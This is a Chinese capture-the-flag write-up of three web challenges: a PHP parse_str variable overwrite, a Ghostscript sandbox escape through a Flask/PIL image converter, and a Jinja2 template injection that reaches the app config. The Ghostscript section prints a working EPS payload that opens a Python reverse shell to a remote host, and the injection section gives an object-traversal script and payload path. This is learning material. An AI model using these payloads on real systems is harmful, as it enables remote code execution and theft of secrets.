3道web,done一题签到和ghostscript,ssti短学期结束后看wp学习
SimpleAuth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| <?php
require_once 'flag.php';
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}
|
看到parse_str
想到变量覆盖
slack emoji converter
访问/source获得源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| from flask import (
Flask,
render_template,
request,
redirect,
url_for,
make_response,
)
from PIL import Image
import tempfile
import os
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/source')
def source():
return open(__file__).read()
@app.route('/conv', methods=['POST'])
def conv():
f = request.files.get('image', None)
if not f:
return redirect(url_for('index'))
ext = f.filename.split('.')[-1]
fname = tempfile.mktemp("emoji")
fname = "{}.{}".format(fname, ext)
f.save(fname)
img = Image.open(fname)
w, h = img.size
r = 128/max(w, h)
newimg = img.resize((int(w*r), int(h*r)))
newimg.save(fname)
response = make_response()
response.data = open(fname, "rb").read()
response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
os.unlink(fname)
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)
|
对图片进行处理,这时想起了前几天爆出来的ghostscript沙箱绕过导致rce的漏洞,拿上poc打一波,发现500了。想了下,poc可能是针对imagemagic的,于是搜索pil ghostscript,找到以前的poc,在关键位置换上新的poc打一波,成了
1
2
3
4
5
6
7
8
9
10
| %!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);') currentdevice putdeviceprops |
shrine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{\% set {}=None\%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
|
很明显的SSTI,但是过滤了括号,并且把config和self设置为None,所以不能通过执行函数或者直接获取环境变量,尝试过使用
1
2
3
4
5
| request.args
request.cookies
request.headers
request.environ
request.values
|
但是都失败了,但是request还是可以使用的,app.config肯定在别的地方还存在,所以通过遍历request下的所有元素找出存在flag的元素
在原先wp的poc上改了一点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| # -*- coding: UTF-8 -*-
import flask
import os
from flask import request
def search(obj, max_depth):
visited_clss = []
visited_objs = []
path_list = []
def visit(obj, path='request', depth=0):
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
visit(v, '{}[{}]'.format(path, repr(i)), depth)
if 'TWCTF' in str(obj):
path_list.append(path)
return
visit(obj)
return path_list
app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF{xxxxxxx}'
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
return str(search(request, 10))
if __name__ == '__main__':
app.run(debug=True)
|
然后去访问127.0.0.1:5000/shrine/xxxx
随便选一个
成了
思考
为什么这样就会出env呢?掏出源码
访问http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__}}
,显示
定位到flask/flask/wrappers.py
其中引入了current_app模块
current_app是一个本地代理,它的类型是werkzeug.local. LocalProxy,它所代理的即是我们的app对象,也就是说current_app == LocalProxy(app),在同一个上下文中就可以通过current_app.config 获取当前application的所有配置
但是因为不是字符串,直接输出会500
于是跟进Request这个类
发现继承于JSONMixin,跟进其中,发现_get_data_for_json
调用get_data()获取数据
__globals['json']__
调用wrappers.py中的json模块,然后调用JSONEncoder.default()
,将__globals['current_app']__.config
经过json encode处理输出成字符串
后来发现直接request.application.__self__._get_data_for_json.__globals__['current_app'].config
也能输出
因为对flask不是很了解,上述过程应该存在错误,希望能够被指导
参考
https://ctftime.org/writeup/10851
https://www.jianshu.com/p/f3dba5b5c343
https://www.jianshu.com/p/0892b5d37ed0